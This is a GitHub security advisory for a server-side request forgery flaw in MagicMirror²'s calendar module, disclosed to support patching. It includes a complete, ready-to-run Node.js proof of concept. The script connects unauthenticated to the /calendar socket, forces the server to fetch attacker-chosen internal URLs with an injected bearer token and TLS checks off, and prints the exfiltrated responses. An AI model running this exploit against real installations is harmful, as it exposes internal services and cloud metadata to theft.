Skip to content

MagicMirror: ssrf calendar .js

Moderate severity GitHub Reviewed Published Jul 1, 2026 in MagicMirrorOrg/MagicMirror • Updated Aug 18, 2026

Package

npm magicmirror (npm)

Affected versions

< 2.37.0

Patched versions

2.37.0

Description

Vulnerability — SSRF via ADD_CALENDAR (MagicMirror² calendar)

Analysis of the PoC exploit-ssrf-calendar.js.
Target: calendar/node_helper.js of MagicMirror², socket.io namespace /calendar.


Identification

Field Value
PoC file exploit-ssrf-calendar.js
Endpoint socket.io namespace /calendar, notification ADD_CALENDAR
Precondition reach the mirror's HTTP port (no authentication required)

Description

The ADD_CALENDAR handler in calendar/node_helper.js performs a server-side HTTP request to a URL that is fully attacker-controlled, with no SSRF protection whatsoever — unlike the project's hardened /cors endpoint.

Worse, the attacker also controls:

  • the authentication headers the server attaches to the request (auth: { method: "bearer", pass: "..." });
  • the selfSignedCert flag, which disables TLS verification of the server-side request.

When the target's response is valid iCal, the server parses the events and sends them back to the attacker via CALENDAR_EVENTS — turning the SSRF into full data exfiltration (response body read). Against non-iCal responses it remains a blind SSRF (the attacker still forces the server-side request, they just don't see the body).


Root cause: unauthenticated socket.io channel + permissive CORS

The socket.io server accepts connections from any origin and with no authentication:

const io = new Server(server, {
  cors: { origin: /.*$/, credentials: true }
});

The /calendar namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.


Exploit (exploit-ssrf-calendar.js)

const { io } = require("socket.io-client");

const TARGET = process.env.MM || "http://TARGET:8888";
const INTERNAL_URL = process.argv[2] || process.env.SSRF_URL || "https://webhook.site/";

const socket = io(`${TARGET}/calendar`, { path: "/socket.io", transports: ["websocket", "polling"] });

socket.onAny((event, payload) => {
	if (event === "CALENDAR_EVENTS") {
		console.log("\n[+] CALENDAR_EVENTS received from server (SSRF response exfiltrated):");
		for (const ev of payload.events || []) {
			console.log("    SUMMARY:", ev.title);
			if (ev.title && ev.title.includes("FLAG{")) {
				console.log("\n[!!!] SSRF SUCCESS - leaked secret from internal-only service:");
				console.log("      " + ev.title);
				process.exit(0);
			}
		}
	} else if (event === "CALENDAR_ERROR") {
		console.log("[-] CALENDAR_ERROR:", JSON.stringify(payload));
	}
});

socket.on("connect", () => {
	console.log(`[*] Connected to ${TARGET}/calendar (no auth required). socket id=${socket.id}`);
	console.log(`[*] Forcing server-side fetch of internal target: ${INTERNAL_URL}`);
	socket.emit("ADD_CALENDAR", {
		url: INTERNAL_URL,
		fetchInterval: 60000,
		excludedEvents: [],
		maximumEntries: 10,
		maximumNumberOfDays: 3650,
		auth: { method: "bearer", pass: "internal-admin-token" },
		broadcastPastEvents: true,
		selfSignedCert: true,
		id: "pwn"
	});
});

socket.on("connect_error", (e) => console.log("[-] connect_error:", e.message));

setTimeout(() => { console.log("\n[*] timeout, exiting"); process.exit(1); }, 20000);

Vulnerable target code (pattern)

socketNotificationReceived(notification, payload) {
  if (notification === "ADD_CALENDAR") {
    const fetcher = new CalendarFetcher(
      payload.url,
      payload.fetchInterval,
      payload.excludedEvents,
      payload.maximumEntries,
      payload.maximumNumberOfDays,
      payload.auth,
      payload.broadcastPastEvents,
      payload.selfSignedCert
    );
    fetcher.fetchCalendar();
  }
}

Impact

  • Reading internal services unreachable from the attacker's network (cloud metadata 169.254.169.254, admin panels on 127.0.0.1, services on the private network).
  • Body exfiltration when the response is iCal (the PoC searches for FLAG{...} in event titles).
  • Confused deputy / credential injection: the server attaches an attacker-controlled Authorization: Bearer ... header, allowing it to forge/replay credentials against the internal target.
  • TLS bypass via selfSignedCert: true.
  • Internal port scanning through error/timing differences.

References

Published to the GitHub Advisory Database Aug 18, 2026
Reviewed Aug 18, 2026
Last updated Aug 18, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality Low
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(39th percentile)

Weaknesses

Unintended Proxy or Intermediary ('Confused Deputy')

The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. Learn more on MITRE.

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-63643

GHSA ID

GHSA-w6x9-28jw-hq7j

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.